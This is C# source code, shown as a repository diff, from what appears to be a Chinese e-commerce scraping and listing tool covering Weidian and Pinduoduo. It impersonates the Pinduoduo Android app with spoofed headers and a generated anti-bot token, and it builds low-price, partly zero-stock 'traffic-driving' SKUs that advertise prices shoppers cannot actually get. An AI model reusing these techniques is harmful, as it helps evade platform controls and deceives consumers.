// html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
// }
// m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// string list = m[j].Groups[0].Value;
// int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr");
// thirtyUVSum += goodsUv;
// thirtyPVSum += goodsPv;
// thirtyVCRSum += goodsVcr;
// }
//}
}
//sevVCRSum = sevVCRSum / 7;
//thirtyVCRSum = thirtyVCRSum / 30;
#endregion
ShopDetail shopDetail = new ShopDetail();
shopDetail.userName = Shop.ShopName;
shopDetail.shopName = Shop.Name;
shopDetail.bondMoney = freeBalanceMount.ToString();//保证金
shopDetail.threshold = thresholdMount.ToString();//阈值
shopDetail.putForward = putAmount.ToString();//可提现
shopDetail.expAbnormal = totalWuLiuCount.ToString();//物流异常
shopDetail.allGood = allGoodsCount.ToString();//线上产品
shopDetail.onSaleGood = ShelvesCount.ToString();//上架产品
shopDetail.sellOut = sellOutCount.ToString();//售罄
shopDetail.lowerGood = lowerCount.ToString();//下架产品
shopDetail.reject = totalCount.ToString();//驳回
shopDetail.yesUV = oneUVSum.ToString();//昨日访客
shopDetail.yesPV = onePVSum.ToString();//昨日流量
shopDetail.yesConRate = oneVcrSum.ToString("0.0000");//昨日转化
shopDetail.sevUV = sevUVSum.ToString();//7天访客
shopDetail.sevPV = sevPVSum.ToString();//7天流量
shopDetail.sevConRate = sevVCRSum.ToString("0.0000");// 7天转化
shopDetail.thirUV = thirtyUVSum.ToString();//30天访客
shopDetail.thirPV = thirtyPVSum.ToString();//30天流量
shopDetail.thiryesConRate = thirtyVCRSum.ToString("0.0000");//30天转化
shopDetail.punEndtime = punEndtime;//惩罚结束日期
shopDetail.hisFines = sumChareAmount.ToString();//历史罚款
shopDetail.delay = sumStockAmount.ToString();
if (!string.IsNullOrEmpty(punReason))
shopDetail.punReason = punReason;
if (punstartTime>0)
shopDetail.punstartTime = BaseClass.StampToDateTime(punstartTime).ToString();
if (punendTime > 0)
shopDetail.punendTime = BaseClass.StampToDateTime(punendTime).ToString();
shopDetail.punLevel = punishment.ToString();//惩罚
shopDetail.mainCam = staple == null ? "" : staple.ToString();//主营类目
shopDetail.todayAccount = todayMount.ToString();//今日成交
shopDetail.waitForAccount = waitAmount.ToString();//待到账
shopDetail.thirtySellGood = thirtydayGoodsNum.ToString();//30天销售
shopDetail.thirtyDeal = thirtydayIn.ToString();//30天成交金额
shopDetail.yesOrder = totalItemNum.ToString();// 昨天订单数
shopDetail.thirtyOrder = totalThirItemNum.ToString();//30天订单数
shopDetail.bankCard = accountCard;//入驻银行卡
shopDetail.mobile = operatorMobile;//入驻手机号
shopDetail.playAmount = playAmount;//小额打款
shopDetail.yesdayIn = yesdayIn.ToString();//昨天成交金额
shopDetail.sevendayIn = sevendayIn.ToString();//7天成交金额
shopDetail.status = "读取完成";
ShopDetailControl.ShopDetailTempList.Add(shopDetail);
}
catch
{
}
}
/// <summary>
/// 获取绝对时间
/// </summary>
/// <returns></returns>
public static long GetTime(DateTime t)
{
return ConvertDateTimeInt(t) + BaseClass.TimeDifferent;
}
public static long ConvertDateTimeInt(DateTime time)
{
System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1));
return (long)(time - startTime).TotalMilliseconds;
}
}
public class ShopDetail
{
public string userName = "";
public string shopName = "";
public string bondMoney = "";
public string putForward = "";
public string expAbnormal = "";
public string allGood = "";
public string onSaleGood = "";
public string sellOut = "";
public string lowerGood = "";
public string reject = "";
public string yesUV = "";
public string yesPV = "";
public string yesConRate = "";
public string sevUV = "";
public string sevPV = "";
public string sevConRate = "";
public string thirUV = "";
public string thirPV = "";
public string thiryesConRate = "";
public string punLevel = "";
public string punEndtime = "";
public string mainCam = "";
public string todayAccount = "";
public string waitForAccount = "";
public string thirtySellGood = "";
public string thirtyOrder = "";
public string thirtyDeal = "";
public string yesdayIn = "";
public string sevendayIn = "";
public string yesOrder = "";
public string hisFines = "";
public string delay = "";
public string bankCard = "";
public string mobile = "";
public string status = "";
public string punReason = "";
public string punstartTime = "";
public string punendTime = "";
public decimal playAmount = 0M;
public string threshold = "";
}
}
File diff suppressed because it is too large. Load diff
+791
View File
@@ -0,0 +1,791 @@
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class WeiDianProductCollect
{
public string Name, TempHtml = "";
public string message = "";
public bool OnSale = true;
public static List<long> TempIds = new List<long>();
public static List<long> DeleteIds = new List<long>();
public ProductCollectBase pb = new ProductCollectBase();
public TaobaoProductBase Product;
public WeiDianProductCollect(TaobaoProductBase product)
{
Product = product;
}
public WeiDianProductCollect(string name, TaobaoProductBase product)
{
Name = name;
Product = product;
}
public void Get()
{
try
{
Getx();
}
catch
{
}
}
public void Getx()
{
message = "";
if (DeleteIds.Contains(Product.FromId))
{
LogSave.Add(Name, "商品已经下架:" + Product.FromId);
message = "商品已经下架:" + Product.FromId;
OnSale = false;
Thread.Sleep(500);
return;
}
string cookies = "";
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId))
{
pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone();
return;
}
if (TempIds.Contains(Product.FromId) && string.IsNullOrEmpty(TempHtml))
Thread.Sleep(5 * 1000);
if (!TempIds.Contains(Product.FromId))
TempIds.Add(Product.FromId);
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId))
{
pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone();
return;
}
bool canUse=false;
bool userData = false;
string serverTempHtml = ServerTemp.Get(4, Product.FromId.ToString(), out canUse);
if (canUse)
{
userData = true;
TempHtml = serverTempHtml;
}
string url = "https://weidian.com/item.html?itemID=" + Product.FromId;
string refere ="";
string html = "";
if (string.IsNullOrEmpty(TempHtml) || (!TempHtml.Contains("item_name") && !TempHtml.Contains("item_name")))
{
Thread.Sleep(2000);
if (UploadPinduoduoMain.Running || UploadPinduoduoMain.RunningReplace)
{
int it = UploadPinduoduoMain.ShopThreadCount * UploadPinduoduoMain.SingleThreadCount;
Thread.Sleep(it * 200);
}
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies);
TempHtml = html;
}
else
{
html = TempHtml;
}
if ((string.IsNullOrEmpty(html) || !html.Contains("catID1") || !html.Contains("cat_id_1")) && !string.IsNullOrEmpty(serverTempHtml))
{
userData = true;
html = serverTempHtml;
}
#region 微店平台数据解析
if (html.Contains("item_name"))
{
html = GetHtml.Decode(html);
pb.from = "微店";
pb.id = Product.FromId;
pb.from_id = Product.FromId;
LogSave.Add(Name, "获取成功:" + Product.FromId);
pb.name = BaseRegex.GetStringJson(ref html, "item_name");
pb.name_share = BaseRegex.GetStringJson(ref html, "shareDesc");
pb.from_shop_name = BaseRegex.GetStringJson(ref html, "shopName");
pb.content_pinduoduo = "";// BaseRegex.GetStringJson(ref html, "goodsDesc");
string temp = BaseRegex.GetMatchRegexString(ref html, @"""imgs"":\[(""[\w\W]+?"")\],");
var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
pb.Images.Add(img);
}
m = BaseRegex.GetMatchRegex(ref html, @"\{""attr_ids""[\w\W]+?\}");
if (m.Count==0)
{
temp = BaseRegex.GetMatchRegexString(ref html, @"""sku"":([\w\W]+?})}");
m = BaseRegex.GetMatchRegex(ref temp, @"""id"":[\w\W]+?""title""[\w\W]+?}");
}
for (int i = 0; i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
SkuMapBase s = new SkuMapBase();
s.id = BaseRegex.GetLongJson(ref list, "id");
s.price = BaseRegex.GetDecimalJson(ref list, "price");
if (s.price < 1)
continue;
int num = BaseRegex.GetIntJson(ref list, "stock");
s.number = num;
s.sale_count = BaseRegex.GetIntJson(ref list, "soldQuantity");
pb.saleCount += s.sale_count;
s.prop_image = BaseRegex.GetStringJson(ref list, "img");
if (!string.IsNullOrEmpty(s.prop_image))
s.prop_image = s.prop_image.Replace("@750w_1l_50Q", "");
if (s.prop_image.Contains("?"))
s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?"));
s.name = BaseRegex.GetStringJson(ref list, "title");//GetName(list, ref pb, s.prop_image);
pb.SkuMaps.Add(s);
}
temp = BaseRegex.GetMatchRegexString(ref html, @"\{""attr_list"":([\w\W]+?\}\]\}\])");
m = BaseRegex.GetMatchRegex(ref temp, @"\{""attr_title"":[\w\W]+?\}\]\}");
string image = "";
pb.Props.Clear();
for (int k = 0;m!=null&&k < m.Count; k++)
{
string list = m[k].Groups[0].Value;
bool had = false;
PropBase p = new PropBase();
for (int j = 0; j < pb.Props.Count; j++)
{
if (pb.Props[j].name == m[k].Groups[1].Value)
{
had = true;
p = pb.Props[j];
break;
}
}
if (!had)
{
var item = m[k].Groups[0].Value;
p = new PropBase();
p.name = BaseRegex.GetStringJson(ref item, "attr_title");
pb.Props.Add(p);
}
var mc= BaseRegex.GetMatchRegex(ref list, @"\{""attr_id"":[\w\W]+?\}");
for (int i = 0; i < mc.Count; i++)
{
had = false;
for (int j = 0; j < p.Values.Count; j++)
{
if (p.Values[j].name == mc[i].Groups[2].Value)
{
p.Values[j].image = image;
p.Values[j].image_from_url = image;
had = true;
break;
}
}
if (!had)
{
var item = mc[i].Groups[0].Value;
PropValueBase pv = new PropValueBase();
pv.id = BaseRegex.GetStringJson(ref item, "attr_id");
pv.name = BaseRegex.GetStringJson(ref item, "attr_value");
pv.image = BaseRegex.GetStringJson(ref item, "img");
pv.image_from_url = BaseRegex.GetStringJson(ref item, "img");
p.Values.Add(pv);
}
}
}
if (pb.Props.Count==0)
{
PropBase p = new PropBase();
p.name = "型号尺寸";
pb.Props.Add(p);
for (int i = 0; i < pb.SkuMaps.Count; i++)
{
var sku = pb.SkuMaps[i];
PropValueBase pv = new PropValueBase();
pv.id = sku.id.ToString();
pv.name = sku.name;
pv.image = sku.prop_image;
pv.image_from_url = sku.prop_image;
p.Values.Add(pv);
}
}
decimal maxPriceNew = 0;
for (int i = 0; i < pb.SkuMaps.Count; i++)
{
if (maxPriceNew < pb.SkuMaps[i].price)
maxPriceNew = pb.SkuMaps[i].price;
}
string firstSkuImage = pb.SkuMaps[0].prop_image;
if (pb.Props.Count == 1)
{
for (int j = 0; j < pb.Props[0].Values.Count; j++)
{
bool ishad = false;
for (int k = 0; k < pb.SkuMaps.Count; k++)
{
if (pb.SkuMaps[k].name.Replace(" ", "+").Contains(pb.Props[0].Values[j].name))
{
ishad = true;
break;
}
}
if (!ishad)
{
SkuMapBase sm = new SkuMapBase();
sm.id = BaseClass.GetTime(DateTime.Today);
sm.price = maxPriceNew;
sm.number = 0;
sm.sale_count = 0;
pb.saleCount += sm.sale_count;
sm.prop_image = firstSkuImage;
sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";";
pb.SkuMaps.Add(sm);
}
}
}
if (pb.Props.Count == 2)
{
for (int j = 0; j < pb.Props[0].Values.Count; j++)
{
for (int k = 0; k < pb.Props[1].Values.Count; k++)
{
bool ishad = false;
for (int l = 0; l < pb.SkuMaps.Count; l++)
{
string[] li = pb.SkuMaps[l].name.Split(';');
if (li.Length == 2)
{
string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ","+");
string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+");
if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1)
{
ishad = true;
break;
}
}
if (li.Length == 3)
{
string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+");
if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2)
{
ishad = true;
break;
}
}
if (li.Length == 4)
{
string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n4 = li[3].Substring(li[3].IndexOf(":") + 1).Trim().Replace(" ", "+");
if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2)
{
ishad = true;
break;
}
if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3
|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2)
{
ishad = true;
break;
}
}
}
if (!ishad)
{
SkuMapBase sm = new SkuMapBase();
sm.id = BaseClass.GetTime(DateTime.Today);
sm.price = maxPriceNew;
sm.number = 0;
sm.sale_count = 0;
pb.saleCount += sm.sale_count;
sm.prop_image = firstSkuImage;
sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";";
pb.SkuMaps.Add(sm);
}
}
}
}
if (pb.cat1 == 0)
{
FromTitleToCat.UserApi = true;
FromTitleToCat ftx = new FromTitleToCat();
ftx.TaobaoProduct = new TaobaoProductBase();
ftx.Title = pb.name;
ftx.TaobaoProduct.Titlte = pb.name;
ftx.TaobaoProduct.FromId = pb.from_id;
ftx.TaobaoCatId = BaseRegex.GetIntJson(ref html, "bg_category_id");
ftx.JustGetCat = true;
ftx.Get();
if (!string.IsNullOrEmpty(ftx.Cat1) && ftx.Cat1 != "0")
{
pb.cat1 = int.Parse(ftx.Cat1);
pb.cat2 = int.Parse(ftx.Cat2);
pb.cat3 = int.Parse(ftx.Cat3);
pb.cat4 = int.Parse(ftx.Cat4);
}
}
var ftc = new FromTitleToCat();
pb.main_cid = ftc.GetMainCatId(pb.cat1);
pb.main_cat_name = ftc.MainCatName;
string eprice = BaseRegex.GetMatchRegexString(ref html, @"""expressFeeDesc"":""([\w\W]+?)元起""");
pb.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice);
pb.mall_id = BaseRegex.GetLongJson(ref html, "mallID");
pb.from_site_id = 6;
if (pb.price<=0 && pb.SkuMaps.Count > 0)
pb.price = pb.SkuMaps[0].price;
string sale = BaseRegex.GetStringJson(ref html, "soldText");
sale = BaseRegex.GetMatchRegexString(ref sale, @"销量\s*([\d\.万]+)");
if (!string.IsNullOrEmpty(sale))
{
sale = sale.Replace(".", "").Replace("万", "0000");
int sa = 0;
int.TryParse(sale, out sa);
pb.saleCount = sa;
}
string content = BaseRegex.GetMatchRegexString(ref html, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)""");
if (string.IsNullOrEmpty(content))
{
string vItemId = BaseRegex.GetMatchRegexString(ref html, @"itemID=([\w\W]+?)""");
string detailUrl = "https://thor.weidian.com/detail/getDetailDesc/1.0?param={\"vItemId\":\"" + vItemId + "\"}";
string htmldetail = GetPostTaobaoHtml.UploadTaobao(detailUrl, refere, true, cookies);
content = BaseRegex.GetMatchRegexString(ref htmldetail, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)""");
pb.before_price = BaseRegex.GetIntJson(ref htmldetail, "marketPrice") / 100m;
m = BaseRegex.GetMatchRegex(ref htmldetail, @"""url"":""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
content += "<img src='" + img + "'>";
}
pb.content = content;
html += "<br/>" + htmldetail;
}
else
{
content = BaseRegex.GetMatchRegexString(ref html, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)""");
pb.before_price = BaseRegex.GetIntJson(ref html, "marketPrice") / 100m;
m = BaseRegex.GetMatchRegex(ref html, @"""url"":""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
content += "<img src='" + img + "'>";
}
pb.content = content;
}
if (!userData)
ServerTemp.Set(4, Product.FromId.ToString(), html);
}
#endregion
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id))
{
try
{
TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb);
}
catch
{
}
}
else
{
TaobaoMobileCollect.ProductTemp[pb.from_id] = pb;
}
}
public bool DeleteAndDown(string html)
{
if (string.IsNullOrEmpty(html))
return false;
if (html.Contains("<p>商品不存在</p>"))
return true;
if (html.Contains(">原商品已下架"))
return true;
if (html.Contains(">预售<"))
return true;
return false;
}
public string GetName(string list, ref ProductCollectBase pb, string image)
{
string temp = "";
var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value_id"":([\d]+)");
if (m.Count == 0)
m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";";
bool had = false;
PropBase p = new PropBase();
for (int j = 0; j < pb.Props.Count; j++)
{
if (pb.Props[j].name == m[i].Groups[1].Value)
{
had = true;
p = pb.Props[j];
break;
}
}
if (!had)
{
p = new PropBase();
p.name = m[i].Groups[1].Value;
if (m[i].Groups.Count > 3)
p.pinduoduo_id = m[i].Groups[3].Value;
pb.Props.Add(p);
}
had = false;
for (int j = 0; j < p.Values.Count; j++)
{
if (p.Values[j].name == m[i].Groups[2].Value)
{
p.Values[j].image = image;
p.Values[j].image_from_url = image;
had = true;
break;
}
}
if (!had)
{
PropValueBase pv = new PropValueBase();
if (m[i].Groups.Count > 4)
pv.id = m[i].Groups[4].Value;
pv.name = m[i].Groups[2].Value;
pv.image = image;
pv.image_from_url = image;
p.Values.Add(pv);
}
}
return temp;
}
public static string GetPinDuoDuoSimilarProductNameByImage(string imageUrl, string pddToken)
{
var url = "http://api.yangkeduo.com/api/search/img";
var data = JsonConvert.SerializeObject(new { flip = "1#1#" + Guid.NewGuid().ToString(), url = imageUrl.StartsWith("//") ? "https:" + imageUrl : imageUrl, sort = "_sales" });
string userAgent = BaseClass.AndroidUserAgent;
WebClientx wb = new WebClientx();
wb.Timeout = 30;
wb.Headers.Add("AccessToken", pddToken);
wb.Headers.Add("User-Agent", userAgent);
wb.Proxy = null;
wb.Headers.Add("Referer", "Android");
wb.Headers.Add("Content-Type", "application/json; charset=UTF-8");
string antiToken = SignHelper.GetSign();
wb.Headers.Add("anti-token", antiToken);
wb.Headers.Add("PDD-CONFIG", "00102");
wb.Headers.Add("p-appname", "pinduoduo");
wb.Headers.Add("X-PDD-QUERIES", "width=810&height=1440&net=1&brand=Android&model=MuMu&osv=6.0.1&appv=4.70.0&pl=2");
byte[] postData = Encoding.UTF8.GetBytes(data);
try
{
wb.Headers.Add("ContentLength", postData.Length.ToString());
var html = Encoding.UTF8.GetString(wb.UploadData(url, "POST", postData));
JObject jObj = JObject.Parse(html);
var productName = string.Empty;
if (jObj["items"] != null)
{
foreach (var item in jObj["items"])
{
productName = item["goods_name"].ParseToString();
break;
}
}
return productName;
}
catch (Exception e)
{
LogSave.Add(e.ToString());
return "";
}
}
public static string GetPDDProductImageUrl(long goodsId, string pddToken)
{
var imgUrl = GetProductImageUrlViaYouHui(goodsId);
if (string.IsNullOrEmpty(imgUrl))
{
imgUrl = GetProductImageUrlViaProductId(goodsId, pddToken);
}
return imgUrl;
}
public static string GetProductImageUrlViaYouHui(long goodsId)
{
string imgUrl = string.Empty;
try
{
string url = "https://youhui.pinduoduo.com/goods/goods-detail?goodsId=" + goodsId + "&r=" + BitConverter.ToInt32(Guid.NewGuid().ToByteArray(), 0);
string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3");
string json = GetHtml.Resove(html, "<script id=\"__NEXT_DATA__\" type=\"application/json\">", "</script>");
if (!string.IsNullOrEmpty(json))
{
JObject jObj = JObject.Parse(json);
if (jObj != null)
{
foreach (string image in jObj["props"]["pageProps"]["goodsDetail"]["goodsGalleryUrls"].ToObject<JArray>())
{
imgUrl = image;
break;
}
}
}
}
catch (Exception ex)
{
LogSave.Add(ex.ToString());
}
return imgUrl;
}
public static string GetProductImageUrlViaProductId(long goodsId, string pddToken)
{
string imgUrl = string.Empty;
try
{
string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId;
string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken);
string json = GetHtml.Resove(html, "window.rawData=", "}};");
if (!string.IsNullOrEmpty(json))
{
json += "}}";
JObject jObj = JObject.Parse(json);
if (jObj != null)
{
foreach (string image in jObj["store"]["initDataObj"]["goods"]["topGallery"].ToObject<JArray>())
{
imgUrl = image;
break;
}
}
}
}
catch (Exception ex)
{
LogSave.Add(ex.ToString());
}
return imgUrl;
}
public static string GenerateLowPriceSkus(long goodsId, decimal lowPrice, List<PropBase> productPropList, List<string> lowPriceSpecs, string pddToken)
{
string skuContent = string.Empty;
if (productPropList == null || productPropList.Count < 1)
return skuContent;
try
{
string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId;
string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken);
string json = GetHtml.Resove(html, "window.rawData=", "}};");
if (!string.IsNullOrEmpty(json))
{
json += "}}";
JObject jObj = JObject.Parse(json);
if (jObj != null)
{
var goodsDetail = jObj["store"]["initDataObj"]["goods"];
if (goodsDetail != null)
{
StringBuilder sbSkuContent = new StringBuilder();
//把spec value名字从要上传的商品中拿出
List<string>[] propValueList = new List<string>[2];
string[] specTypeNames = new string[2];
for (int i = 0; i < productPropList.Count; i++)
{
propValueList[i] = new List<string>();
specTypeNames[i] = productPropList[i].pinduoduo_id;
foreach (var propValue in productPropList[i].Values)
{
if (propValue.is_used)
propValueList[i].Add(propValue.id);
}
}
var skuList = goodsDetail["skus"].ToObject<JArray>();
JToken pickedSku = null;
string specFirstValue = null;
List<string> specSecondList = new List<string>();
List<JToken> pickedSkuList = new List<JToken>();
var thumbUrl = string.Empty;
int specFirstIndex = -1;
//从低价引流商品中选出一个sku,有上传商品spec第一组中没有的spec
foreach (var sku in skuList)
{
var specs = sku["specs"].ToObject<JArray>();
decimal groupPrice = sku["groupPrice"].ParseToDecimal();
int quantity = sku["quantity"].ParseToInt();
if (specs.Count > 0 && quantity != 0 && groupPrice != 0 && groupPrice <= lowPrice)
{
for (int ii = 0; specFirstIndex == -1 && ii < specs.Count; ii++)
{
// 比较得出上传商品中第一组spec对应低价引流商品的spec索引
if (specs[ii]["spec_key_id"].ParseToString() == specTypeNames[0])
{
specFirstIndex = ii;
if (productPropList.Count == 2)
{
if (specs[1 - specFirstIndex]["spec_key_id"].ParseToString() != specTypeNames[1])
{
specFirstIndex = -1;
}
}
break;
}
}
if (specFirstIndex == -1)
{
break;
}
if (specFirstValue == null && !propValueList[0].Contains(specs[specFirstIndex]["spec_value_id"].ParseToString()))
{
specFirstValue = specs[specFirstIndex]["spec_value_id"].ParseToString();
pickedSku = sku;
thumbUrl = pickedSku["thumbUrl"].ParseToString();
thumbUrl = thumbUrl.StartsWith("//") ? "https:" + thumbUrl : thumbUrl;
if (productPropList.Count == 1)
{
break;
}
}
if (specFirstValue != null && specs[specFirstIndex]["spec_value_id"].ParseToString() == specFirstValue)
{
specSecondList.Add(specs[1 - specFirstIndex]["spec_value_id"].ParseToString());
pickedSkuList.Add(sku);
}
}
}
if (specSecondList.Count > 0)
{
//比较上传商品中第二组spec中没有的spec进行增加,保证使用最低价格区间的价格并且高于上家价格
int addNewSpecSecondIndex = -1;
for (int i = 0; i < specSecondList.Count; i++)
{
if (!propValueList[1].Contains(specSecondList[i]))
{
foreach (var productSpecFirst in propValueList[0])
{
//在上传商品中增加第二组没有的spec
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," +
"\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}",
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(),
productSpecFirst + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[i]));
}
addNewSpecSecondIndex = i;
//只需要增加一组没有的spec即可
break;
}
}
if (addNewSpecSecondIndex != -1)
{
//增加低价引流商品的一组sku
for (int i = 0; i < propValueList[1].Count; i++)
{
if (specSecondList.Contains(propValueList[1][i]))
{
//增加低价引流中第二组spec在上传商品中存在的
var ind = specSecondList.IndexOf(propValueList[1][i]);
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," +
"\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}",
pickedSkuList[ind]["limitQuantity"].ParseToString(),
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(), pickedSkuList[ind]["quantity"].ParseToString(),
ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[ind]),
pickedSkuList[ind]["defaultQuantity"].ParseToString());
}
else
{
//在低价引流中增加上传商品有但低价引流第二组spec没有的
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," +
"\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}",
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(),
ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + propValueList[1][i]);
}
}
//在低价引流中增加上传商品中第二组spec中没有的spec,保证有库存
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," +
"\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}",
pickedSkuList[addNewSpecSecondIndex]["limitQuantity"].ParseToString(),
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(), pickedSkuList[addNewSpecSecondIndex]["quantity"].ParseToString(),
ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[addNewSpecSecondIndex]),
pickedSkuList[addNewSpecSecondIndex]["defaultQuantity"].ParseToString());
}
}
else if (specFirstValue != null)
{
//只有一个类型的spec
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," +
"\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}",
pickedSku["limitQuantity"].ParseToString(),
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(), pickedSku["quantity"].ParseToString(),
ChooseSpecValue(lowPriceSpecs, 1, 0, specFirstValue), pickedSku["defaultQuantity"].ParseToString());
}
skuContent = sbSkuContent.ToString();
}
}
}
}
catch (Exception ex)
{
LogSave.Add(ex.ToString());
}
return skuContent;
}
